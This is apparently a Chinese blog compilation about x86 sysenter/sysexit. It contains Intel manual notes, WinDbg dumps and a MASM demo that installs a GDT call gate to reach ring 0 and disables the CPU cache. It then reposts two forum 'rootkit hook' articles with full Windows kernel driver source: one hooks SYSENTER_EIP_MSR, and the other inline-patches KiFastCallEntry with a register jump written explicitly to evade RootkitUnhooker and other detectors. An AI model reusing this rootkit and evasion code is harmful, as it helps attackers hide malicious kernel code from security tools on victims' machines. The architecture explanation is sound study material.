在 Intel 的軟件開發者手冊第二、三卷(Vol.2B,Vol.3)中,4.8.7 節是關于 sysenter/sysexit 指令的詳細描述。手冊中說明,sysenter
指令可用于特權級 3 的用戶代碼調用特權級 0 的系統內核代碼,而 SYSEXIT 指令則用于特權級 0 的系統代碼返回用戶空間中。sysenter 指
令可以在 3,2,1 這三個特權級別調用(Linux 中只用到了特權級 3),而 SYSEXIT 指令只能從特權級 0 調用。
執行 sysenter 指令的系統必須滿足兩個條件:1.目標 Ring 0 代碼段必須是平坦模式(Flat Mode)的 4GB 的可讀可執行的非一致代碼段。
2.目標 RING0 堆棧段必須是平坦模式(Flat Mode)的 4GB 的可讀可寫向上擴展的棧段。
在 Intel 的手冊中,還提到了 sysenter/sysexit 和 int n/iret 指令的一個區別,那就是 sysenter/sysexit 指令并不成對,sysenter 指
令并不會把 SYSEXIT 所需的返回地址壓棧,sysexit 返回的地址并不一定是 sysenter 指令的下一個指令地址。調用 sysenter/sysexit 指令
地址的跳轉是通過設置一組特殊寄存器實現的。這些寄存器包括:
SYSENTER_CS_MSR - 用于指定要執行的 Ring 0 代碼的代碼段選擇符,由它還能得出目標 Ring 0 所用堆棧段的段選擇符;
SYSENTER_EIP_MSR - 用于指定要執行的 Ring 0 代碼的起始地址;
SYSENTER_ESP_MSR-用于指定要執行的Ring 0代碼所使用的棧指針
這些寄存器可以通過 wrmsr 指令來設置,執行 wrmsr 指令時,通過寄存器 edx、eax 指定設置的值,edx 指定值的高 32 位,eax 指定值的
低 32 位,在設置上述寄存器時,edx 都是 0,通過寄存器 ecx 指定填充的 MSR 寄存器,sysenter_CS_MSR、sysenter_ESP_MSR、
sysenter_EIP_MSR 寄存器分別對應 0x174、0x175、0x176,需要注意的是,wrmsr 指令只能在 Ring 0 執行。
這里還要介紹一個特性,就是 Ring0、Ring3 的代碼段描述符和堆棧段描述符在全局描述符表 GDT 中是順序排列的,這樣只需知道
SYSENTER_CS_MSR 中指定的 Ring0 的代碼段描述符,就可以推算出 Ring0 的堆棧段描述符以及 Ring3 的代碼段描述符和堆棧段描述符。
在 Ring3 的代碼調用了 sysenter 指令之后,CPU 會做出如下的操作:
1. 將 SYSENTER_CS_MSR 的值裝載到 cs 寄存器
2. 將 SYSENTER_EIP_MSR 的值裝載到 eip 寄存器
3. 將 SYSENTER_CS_MSR 的值加 8(Ring0 的堆棧段描述符)裝載到 ss 寄存器。
4. 將 SYSENTER_ESP_MSR 的值裝載到 esp 寄存器
5. 將特權級切換到 Ring0
6. 如果 EFLAGS 寄存器的 VM 標志被置位,則清除該標志
7. 開始執行指定的 Ring0 代碼
在 Ring0 代碼執行完畢,調用 SYSEXIT 指令退回 Ring3 時,CPU 會做出如下操作:
1. 將 SYSENTER_CS_MSR 的值加 16(Ring3 的代碼段描述符)裝載到 cs 寄存器
2. 將寄存器 edx 的值裝載到 eip 寄存器
3. 將 SYSENTER_CS_MSR 的值加 24(Ring3 的堆棧段描述符)裝載到 ss 寄存器
4. 將寄存器 ecx 的值裝載到 esp 寄存器
5. 將特權級切換到 Ring3
6. 繼續執行 Ring3 的代碼
由此可知,在調用 SYSENTER 進入 Ring0 之前,一定需要通過 wrmsr 指令設置好 Ring0 代碼的相關信息,在調用 SYSEXIT 之前,還要保證
寄存器edx、ecx 的正確性。
根據 Intel 的 CPU 手冊,我們可以通過 CPUID 指令來查看 CPU 是否支持 sysenter/sysexit 指令,做法是將 EAX 寄存器賦值 1,調用
CPUID 指令,寄存器 edx 中第 11 位(這一位名稱為 SEP)就表示是否支持。在調用 CPUID 指令之后,還需要查看 CPU 的 Family、Model、
Stepping 屬性來確認,因為據稱 Pentium Pro 處理器會報告 SEP 但是卻不支持 sysenter/sysexit 指令。只有 Family 大于等于 6,Model
大于等于 3,Stepping 大于等于 3 的時候,才能確認 CPU 支持 sysenter/sysexit 指令。
/=============================================================================
//在WINDBG中對NTDLL.dll中的NtCreateFile函數的調試信息
ntdll!NtCreateFile:
7c92d682 b825000000 mov eax,25h
7c92d687 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
7c92d68c ff12 call dword ptr [edx]
7c92d68e c22c00 ret 2Ch
lkd> dd 7ffe0300
7ffe0300 7c92eb8b 7c92eb94 00000000 00000000
lkd> u 7c92eb8b
ntdll!KiFastSystemCall:
7c92eb8b 8bd4 mov edx,esp
7c92eb8d 0f34 sysenter
/**************************************************************/
SYSENTER簡介及相關例子
文章作者:wowocock1/CVC.GB
;眾所周知微軟自XP后引進了FASTCALL SYSENTER,SYSEXIT來代替WIN2K下INT2E系統服務調用
;其優點是快速而且沒有保留堆棧的開銷,為了便于大家理解我寫下面一個在WIN98下的例子
;來說明一下這2條指令的用法。ITNEL的手冊上關于他們介紹的很詳細,我簡要說明一下
;SYSENTER是INTEL自P2后引進的快速從RING3~RING0的FASTCALL,從FAMILY 6,MODEL 3,
;STEP 3也就是從PII300以后引進的,這也是為什么WINXP需要PII300以上的原因。在使用SYSENTER
;之前必須定義好RING0 CS EIP ESP,通過設置相應MSR寄存器,由WRMSR指令來設定(必須在RING0層執行);
;通過將相應的寄存器地址號放入ECX中,WRMSR可以設置這些MSR寄存器,對應關系如下
;SYSENTER_CS_MSR 174H SYSENTER_ESP_MSR 175H SYSENTER_EIP_MSR 176H
;執行SYSENTER指令的系統必須滿足 1:轉換后的RING0代碼段必須是FLAT,4GB的可讀可執行
;的非一致代碼段.2:轉換后的RING0堆棧段必須是FLAT,4GB的可讀可寫向上擴展的數據段
;由于FASTCALL不保存任何返回的地址,所以在調用前你必須自己設定好,RING0代碼段SELECTOR
;RING0堆棧段SELECTOR,RING3代碼段SELECTOR,RING3堆棧段SELECTOR,必須在GDT中連續的排列
;所以在XP下相應的SELECTOR,必然是8H,10H,1BH,23H,必須將返回至RING3 EIP,ESP通過寄存器
;傳遞進RING0以便SYSEXIT返回使用,在SYSEXIT返回之前,EDX為RING3 EIP,ECX為RING3 ESP
;而相應的CS,SS,則由RING0 CS加上10H,18H來返回
;RING3~RING0
;1. 裝載SYSENTER_CS_MSR 到CS 寄存器.
;2. 裝載SYSENTER_EIP_MSR到 EIP寄存器。
;3. SYSENTER_CS_MSR+8 裝載到SS寄存器
;4.裝載SYSENTER_ESP_MSR 到ESP寄存器。
;5. 切換RING0.
;6. 清除 EFLAGS的 VM標志
;7. 執行RING0例程
;RING0~RING3
;1。SYSENTER_CS_MSR+16裝載到 CS寄存器
;2. 將EDX的值送入EIP
;3. SYSENTER_CS_MSR+24 裝載到SS寄存器
;4. 將ECX的值送入ESP
;5.切換回RING3
;6. 執行EIP處的RING3指令
;下面的例子在示范的基礎上加了個小TRICK,就是在通過CALLGATE進RING0設置MSR寄存器的同時
;關掉了你機器上的緩存,然后你可以看看在沒有緩存的情況下你的感覺如何,然后點擊一下
;對話框,則經由SYSENTER指令進入RING0設定好的地址處恢復你CPU緩存,所以別擔心,還有
;沒有緩存的時候你的動作最好慢一點,不然會讓你等的發瘋的,呵呵。
.686p
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
sysenter macro
db 0fh,34h
endm
sysexit macro
db 0fh,35h
endm
CR0_CD EQU 040000000h ; Cache Disable bit of CR0
CR0_NW EQU 020000000h ; Not Write-through bit of CR0
.data
Ring0Cs dw 0ffffh,0,09b00h,0cfh
Ring0Ss dw 0ffffh,0,09300h,0cfh
Ring3Cs dw 0ffffh,0,0fb00h,0cfh
Ring3Ss dw 0ffffh,0,0f300h,0cfh
trR dw ?
tssRing0Esp dd ?
GdtLimit dw ?
GdtAddr dd ?
Callgt dq 0 ;call gate’s selff
tmpCs dw ?
szTitle db "CPU info",0
msg db 100 dup (?)
Nightmare db "切換到其他窗口,嘗嘗沒CACHE的滋味!",0
.code
Start:
mov ax,ds
test ax,4
jz Exit;winnt
xor eax,eax
cpuid
lea edi,msg
xchg eax,ebx
stosd
xchg eax,edx
stosd
xchg eax,ecx
stosd
invoke MessageBoxA,0,addr msg,addr szTitle,0
mov eax,1
cpuid
test edx,800h
jz Exit
mov eax,2
cpuid
SetSel:
sgdt GdtLimit
str word ptr trR ;存儲任務寄存器
;-----------------------
; get the tr mes
;-----------------------
movzx esi,trR
add esi,GdtAddr ;ESi指向GDT中TSS描述副
mov eax,[esi+2]
and eax,0ffffffh
mov ebx,[esi+4]
and ebx,0ff000000h
or eax,ebx ;eax中保存TSS的基地址
push dword ptr[eax+4]
pop dword ptr [tssRing0Esp] ;保存RING0使用的堆棧地址
movzx eax,GdtLimit ;在GDT的最后選取四個表目將預設的4個描述符存入
test al,1
jz @f
inc eax
@@:
sub eax,4*8
mov tmpCs,ax
add eax,GdtAddr
lea esi,Ring0Cs
mov edi,eax
mov ecx,4*8
rep movsb
SetMsr:
;-------------------------------------
; 在GDT中尋找空白表項來制造調用門
;-------------------------------------
mov esi,GdtAddr
movzx eax,GdtLimit
call Search_XDT
;esi==gdt Base
mov esi,dword ptr GdtAddr
push offset Ring0_SetMsr
pop word ptr [esi+eax+0]
pop word ptr [esi+eax+6] ;Offset
mov word ptr [esi+eax+2],28h
mov word ptr [esi+eax+4],0EC00h ;sel=28h and attribute ->386 call gate!
and dword ptr Callgt,0
mov word ptr [Callgt+4],ax
pushad
call fword ptr [Callgt] ;Ring0!
popad
mov dword ptr [esi+eax+0],0
mov dword ptr [esi+eax+4],0
invoke MessageBoxA,0,addr Nightmare,addr Nightmare,0
lea edx,Exit
mov ecx,esp
sysenter
Exit:
push 00000000h ; Exit program
call ExitProcess
;----------------------------------------------------------------------
Ring0_SetMsr:
mov ecx,174h
movzx eax,tmpCs
wrmsr
inc ecx
mov eax,tssRing0Esp
wrmsr
inc ecx
lea eax,Ring0Ip
wrmsr
mov eax,cr0 ; read CR0
or eax,CR0_CD ; set CD but not NW bit of CR0
mov cr0,eax ; cache is now disabled
wbinvd ; flush and invalidate cache
; the cache is effectively disabled at this point, but memory
; consistency will be maintained. To completely disable cache,
; the following two lines may used as well:
or eax,CR0_NW ; now set the NW bit
mov cr0,eax ; turn off the cache entirely
retf
;----------------------------------------------------------------------
Ring0Ip:
pushad
pushf ; save the flags
cli ; disable interrupts while we do this
mov eax,cr0 ; read CR0
and eax,0dfffffffh ; now set the NW bit
mov cr0,eax ; turn on the cache entirely
and eax,0bfffffffh ; set CD but not NW bit of CR0
mov cr0,eax ; cache is now Ensabled
popf ; restore the flags
mov eax,cr0
mov [esp+4*7],eax
popad
sysexit
;----------------------------------------------------------------------
Search_XDT proc near
;entry esi==Base of Ldt or GDT ;Eax==Limit
pushad
mov ebx,eax
mov eax,8 ; skipping null selector
@@1:
cmp dword ptr [esi+eax+0],0
jnz @@2
cmp dword ptr [esi+eax+4],0
jz @@3
@@2:
add eax,8
cmp eax,ebx
jb @@1 ;if we haven’t found any free GDT entry,
;lets use the last two entries
mov eax,ebx
sub eax,7
@@3:
mov [esp+4*7],eax ; return off in eax
popad
ret
Search_XDT endp
end Start
;=======================================================================================================
1 【原創】rootkit hook之[六] -- sysenter Hook
--------------------------------------------------------------------------------
標 題: 【原創】rootkit hook之[六] -- sysenter Hook
作 者: combojiang
時 間: 2008-02-26,12:25
鏈 接: http://bbs.pediy.com/showthread.php?t=60247
呵呵,今天這篇內容少,比較簡單。
SYSENETER是一條匯編指令,它是在Pentium? II 處理器及以上處理器中提供的,是快速系統調用的一部分。SYSENTER/SYSEXIT這對指令專門用于實現快速調用。在這之前是采用INT 0x2E來實現的。INT 0x2E在系統調用的時候,需要進行棧切換的工作。由于Interrupt/Exception Handler的調用都是通過 call/trap/task這一類的gate來實現的,這種方式會進行棧切換,并且系統棧的地址等信息由TSS提供。這種方式可能會引起多次內存訪問 (來獲取這些切換信息),因此,從PentiumII開始,IA-32引入了新指令:SYSENTER/SYSEXIT。 有了這兩條指令,
從用戶級到特權級的堆棧以及指令指針的轉換,可以通過這一條指令來實現,并且,需要切換到的新堆棧的地址,以及相應過程的第一條指令的位置,都有一組特殊寄存器來實現,這類特殊寄存器在IA-32中稱為MSR(Model Specific Register)。這里牽涉到3個特殊寄存器:
SYSENTER_CS_MSR: New code segment selector 0x174
SYSENTER_ESP_MSR: New Stack Pointer 0x175
SYSENTER_EIP_MSR: New Instruction Pointer 0x176
這里標出的3個16進制數分別對應這3個寄存器的地址,該地址用于Kernel debug時,通過rdmsr/wrmsr指令來讀/寫這3個寄存器。步驟如下:
10.JPG
1. 裝載SYSENTER_CS_MSR 到CS 寄存器,設置目標代碼段
2. 裝載SYSENTER_EIP_MSR到 EIP寄存器,設置目標指令
3. SYSENTER_CS_MSR+8 裝載到SS寄存器 ,設置棧段
4. 裝載SYSENTER_ESP_MSR 到ESP寄存器,設置棧幀
5. 切換RING0.
6. 清除 EFLAGS的 VM標志
7. 執行RING0例程
11.JPG
1. SYSENTER_CS_MSR+16裝載到 CS寄存器
2. 將EDX的值送入EIP
3. SYSENTER_CS_MSR+24 裝載到SS寄存器
4. 將ECX的值送入ESP
5. 切換回RING3
6. 執行EIP處的RING3指令
我們在windbg中可以看看這個三個寄存器的情況,這個是我機器里的情況。
lkd> rdmsr 176
msr[176] = 00000000`8053dad0
lkd> rdmsr 175
msr[175] = 00000000`ba4e0000
lkd> rdmsr 174
msr[174] = 00000000`00000008
可以看到,我的機器里面當前SYSENTER_EIP_MSR,SYSENTER_ESP_MSR,SYSENTER_CS_MSR這三個寄存器的值。
我們在微軟公開的內核WRK中發現關于這三個寄存器的設置,其中SYSENTER_EIP_MSR設置的值是KiFastCallEntry。
代碼如下:
VOID
KiLoadFastSyscallMachineSpecificRegisters(
IN PLONG Context
)
/*++
Routine Description:
Load MSRs used to support Fast Syscall/return. This routine is
run on all processors.
Arguments:
None.
Return Value:
None.
--*/
{
PKPRCB Prcb;
UNREFERENCED_PARAMETER (Context);
if (KiFastSystemCallIsIA32) {
Prcb = KeGetCurrentPrcb();
//
// Use Intel defined way of doing this.
//
WRMSR(MSR_SYSENTER_CS, KGDT_R0_CODE);
WRMSR(MSR_SYSENTER_EIP, (ULONGLONG)(ULONG)KiFastCallEntry);
WRMSR(MSR_SYSENTER_ESP, (ULONGLONG)(ULONG)Prcb->DpcStack);
}
}
看看我電腦的情況如下:
lkd> rdmsr 176
msr[176] = 00000000`8053dad0
lkd> u 8053dad0
nt!KiFastCallEntry:
8053dad0 b923000000 mov ecx,23h
8053dad5 6a30 push 30h
8053dad7 0fa1 pop fs
8053dad9 8ed9 mov ds,cx
8053dadb 8ec1 mov es,cx
8053dadd 8b0d40f0dfff mov ecx,dword ptr ds:[0FFDFF040h]
8053dae3 8b6104 mov esp,dword ptr [ecx+4]
8053dae6 6a23 push 23h
下面是rootkit.com上的一個例子,這個例子有點不厚道,在你卸載的時候會bsod.我簡單修改了下,貼代碼如下:
#include "ntddk.h"
ULONG d_origKiFastCallEntry; // Original value of ntoskrnl!KiFastCallEntry
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
_asm
{
mov ecx, 0x176
xor edx,edx
mov eax, d_origKiFastCallEntry // Hook function address
wrmsr // Write to the IA32_SYSENTER_EIP register
}
}
// Hook function
__declspec(naked) MyKiFastCallEntry()
{
__asm {
jmp [d_origKiFastCallEntry]
}
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
theDriverObject->DriverUnload = OnUnload;
__asm {
mov ecx, 0x176
rdmsr // read the value of the IA32_SYSENTER_EIP register
mov d_origKiFastCallEntry, eax
mov eax, MyKiFastCallEntry // Hook function address
wrmsr // Write to the IA32_SYSENTER_EIP register
}
return STATUS_SUCCESS;
}
注意一點,大家用windbg的時候,配置symbol path,如圖:
9.JPG
后面貼上一篇墮落天才寫的文章鏈接:http://bbs.pediy.com/showthread.php?t=42705,
他inline hook 了KiFastCallEntry,采用detour方式,寫得很不錯。
上傳的附件 SysEnterHook.rar (973 字節, 743 次下載)
;=====================================================================================================================
【原創】另一種sysenter hook方法(繞過絕大多數的rootkit檢測工具的檢測)
--------------------------------------------------------------------------------
標 題: 【原創】另一種sysenter hook方法(繞過絕大多數的rootkit檢測工具的檢測)
作 者: 墮落天才
時 間: 2007-04-14,11:09
鏈 接: http://bbs.pediy.com/showthread.php?t=42705
*****************************************************************************
*標題:【原創】另一種sysenter hook方法(繞過絕大多數的rootkit檢測工具的檢測) *
*作者:墮落天才 *
*日期:2007年4月14號 *
*****************************************************************************
先廢話,當初是為了繞開NP對sysenter保護而想出來的,后來發現連RootkitUnhooker都繞了.
什么是sysenter hook我也不羅唆了,一般的攔截方法就是通過rdmsr wrmsr 兩個指令把原來的sysenter地址改成自己的sysenter地址來實現的.這種方法使用方便,但檢測也很容易.
這里介紹的另外一種方法不改變sysenter地址,而是通過直接在原來sysenter地址里面寫跳轉代碼來實現的,這實際上跟一般的函數頭inline hook一樣.這樣rootkit檢測工具就不會認為sysenter已經改變(實際上也是沒變).
一般的rootkit檢測工具檢測函數inline hook是通過檢測長跳轉指令0xE9的來判斷跳轉距離是不是超出函數所在的模塊范圍來確定的.但是實現跳轉我們也可以借助寄存器或變量(用變量跳轉需要涉及重定位問題,麻煩.所以一般用寄存器),這樣跳轉指令就不是0xE9了而是0xFF,這個絕大多數rootkit檢測工具是檢測不到的(包括著名的RootkitUnhooker,VICE).
由于我們已經改變了KiFastCall函數頭,所以我們只能把原來的函數頭代碼放到另外一個地方執行(動態分配內存,當然如果不考慮兼容性硬編碼也沒問題),然后再跳轉回來.這里使用了"三級跳",大概是這個樣子.
sysenter->KiFastCall
JMP -> MyKiFastCall(這里進行攔截或什么的)
JMP -> KiFastCall head code (這里執行原來KiFastCall函數頭代碼)
JMP -> KiFastCall + N(已經執行指令長度)
///////////////////////////////////////////////////////////////////////////////////////////////////
//墮落天才
//2007年4月14日
#include<ntddk.h>
#include "OpCodeSize.h"
ULONG uSysenter; //sysenter地址
UCHAR uOrigSysenterHead[8];//保存原來的八個字節函數頭
PUCHAR pMovedSysenterCode; //把原來的KiFastCall函數頭保存在這里
ULONG i; //記錄服務ID
__declspec(naked) void MyKiFastCallEntry(void)
{
__asm{
pop edi //因為用到了edi來跳轉 這里恢復
mov i, eax //得到服務ID
}
__asm{
pushad
push fs
push 0x30
pop fs
}
DbgPrint("sysenter was hooked! Get service ID:%X",i); //證明自己存在
__asm{
pop fs
popad
jmp pMovedSysenterCode //第二跳,跳轉到原來的函數頭代碼
}
}
//////////////////////////////////////////////////////
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
__asm{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
memcpy((PVOID)uSysenter,uOrigSysenterHead,8);//把原來函數頭的八個字節恢復
__asm{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
ExFreePool(pMovedSysenterCode); // 釋放分配的內存
DbgPrint("Unload sysenterHook");
}
////////////////////////////////////////////////////////
VOID HookSysenter()
{
UCHAR cHookCode[8] = { 0x57, //push edi 第一跳,從KiFastCall跳到MyKiFastCallEntry.并繞過rootkit檢測工具檢測
0xBF,0,0,0,0, //mov edi,0000
0xFF,0xE7}; //jmp edi
UCHAR JmpCode[]={0xE9,0,0,0,0}; //jmp 0000 第三跳,從KiFastCall函數頭代碼跳轉到原來KiFastCall+N
int nCopyLen = 0;
int nPos = 0;
__asm{
mov ecx,0x176
rdmsr
mov uSysenter,eax //得到KiFastCallEntry地址
}
DbgPrint("sysenter:0x%08X",uSysenter);
nPos = uSysenter;
while(nCopyLen<8){ //我們要改寫的函數頭至少需要8字節 這里計算實際需要COPY的代碼長度 因為我們不能把一條完整的指令打斷
nCopyLen += GetOpCodeSize((PVOID)nPos); //參考1
nPos = uSysenter + nCopyLen;
}
DbgPrint("copy code lenght:%d",nCopyLen);
pMovedSysenterCode = ExAllocatePool(NonPagedPool,20);
memcpy(uOrigSysenterHead,(PVOID)uSysenter,8);//備份原來8字節代碼
*((ULONG*)(JmpCode+1)) = (uSysenter + nCopyLen) - ((ULONG)pMovedSysenterCode + nCopyLen)- 5;//計算跳轉地址
memcpy(pMovedSysenterCode,(PVOID)uSysenter,nCopyLen); //把原來的函數頭放到新分配的內存
memcpy((PVOID)(pMovedSysenterCode + nCopyLen),JmpCode,5); //把跳轉代碼COPY上去
*((ULONG*)(cHookCode+2)) = (ULONG)MyKiFastCallEntry; //HOOK地址
DbgPrint("Saved sysenter code:0x%08X",pMovedSysenterCode);
DbgPrint("MyKiFastCallEntry:0x%08X",MyKiFastCallEntry);
__asm{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
memcpy((PVOID)uSysenter,cHookCode,8);//把改寫原來函數頭
__asm{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{
DbgPrint("Welcome to sysenterhook.sys");
DriverObject->DriverUnload = OnUnload;
HookSysenter();
return STATUS_SUCCESS;
}
///////////////////////////////////////////////////////////////////////////////////////////////////
以上代碼在 XP SP2中文 + RootkitUnhooker下測試通過
同理 IDT hook也可以用這種方法實現,HOOK的實質是改變程序流程,無論在哪里改變
*************************************************************************************************
參考1, 海風月影,【分享】西褲哥的 Hook Api Lib 0.2 For C
;http://bbs.pediy.com/showthread.php?p=420864
posted on 2009-09-04 19:40
楊彬彬 閱讀(3634)
評論(0) 編輯 收藏 引用